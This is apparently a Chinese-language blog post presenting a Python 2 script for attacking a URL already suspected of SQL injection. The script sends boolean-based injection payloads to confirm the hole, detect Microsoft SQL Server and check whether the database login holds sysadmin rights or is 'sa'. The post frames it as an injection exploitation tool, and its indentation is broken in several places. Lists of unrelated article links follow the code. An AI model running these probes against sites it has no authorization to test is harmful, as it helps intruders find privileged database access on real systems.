Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
提升Python程序运行效率的6个方法
Mar 31 Python
python中函数总结之装饰器闭包详解
Jun 12 Python
Python pass详细介绍及实例代码
Nov 24 Python
pip install urllib2不能安装的解决方法
Jun 12 Python
Python 访问限制 private public的详细介绍
Oct 16 Python
Python3 使用cookiejar管理cookie的方法
Dec 28 Python
搞定这套Python爬虫面试题(面试会so easy)
Apr 03 Python
Python阶乘求和的代码详解
Feb 14 Python
Python 实现Image和Ndarray互相转换
Feb 19 Python
Python urllib.request对象案例解析
May 11 Python
深入了解python列表(LIST)
Jun 08 Python
python编程的核心知识点总结
Feb 08 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
数据库的日期格式转换
2006/10/09 PHP
WINDOWS下php5.2.4+mysql6.0+apache2.2.4+ZendOptimizer-3.3.0配置
2008/03/28 PHP
PHP @ at 记号的作用示例介绍
2014/10/10 PHP
laravel框架创建授权策略实例分析
2019/11/22 PHP
javascript html 静态页面传参数
2009/04/10 Javascript
JSChart轻量级图形报表工具(内置函数中文参考)
2010/10/11 Javascript
使用JavaScript获取Request中参数的值方法
2016/09/27 Javascript
微信小程序 input输入框详解及简单实例
2017/01/10 Javascript
AngularJS入门教程一:路由用法初探
2017/05/27 Javascript
EasyUI Tree树组件无限循环的解决方法
2017/09/27 Javascript
200行HTML+JavaScript实现年会抽奖程序
2019/01/22 Javascript
Vue实现远程获取路由与页面刷新导致404错误的解决
2019/01/31 Javascript
详解vue3.0 diff算法的使用(超详细)
2020/07/01 Javascript
js动态添加带圆圈序号列表的实例代码
2021/02/18 Javascript
[02:20]DOTA2中文配音宣传片
2013/05/22 DOTA
[13:16]INFAMOUS vs VGJ T BO3
2018/06/07 DOTA
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
2014/07/11 Python
Python中List.index()方法的使用教程
2015/05/20 Python
理解Python垃圾回收机制
2016/02/12 Python
修复CentOS7升级Python到3.6版本后yum不能正确使用的解决方法
2018/01/26 Python
Django--权限Permissions的例子
2019/08/28 Python
使用Python进行防病毒免杀解析
2019/12/13 Python
python如何查看网页代码
2020/06/07 Python
Python函数__new__及__init__作用及区别解析
2020/08/31 Python
python上下文管理的使用场景实例讲解
2021/03/03 Python
面向游戏玩家和书呆子的极客订阅盒:Loot Crate
2020/11/25 全球购物
介绍一下grep命令的使用
2012/06/28 面试题
解决python 输出到csv 出现多空行的情况
2021/03/24 Python
大一新生检讨书
2014/10/29 职场文书
个人工作总结范文2014
2014/11/07 职场文书
应聘教师求职信范文
2015/03/20 职场文书
2015年宣传部个人工作总结
2015/05/14 职场文书
2016年基层党组织公开承诺书
2016/03/25 职场文书
ORACLE数据库对long类型字段进行模糊匹配的解决思路
2021/04/07 Oracle
带你了解Java中的ForkJoin
2022/04/28 Java/Android
使用Python开发贪吃蛇游戏 SnakeGame
2022/04/30 Python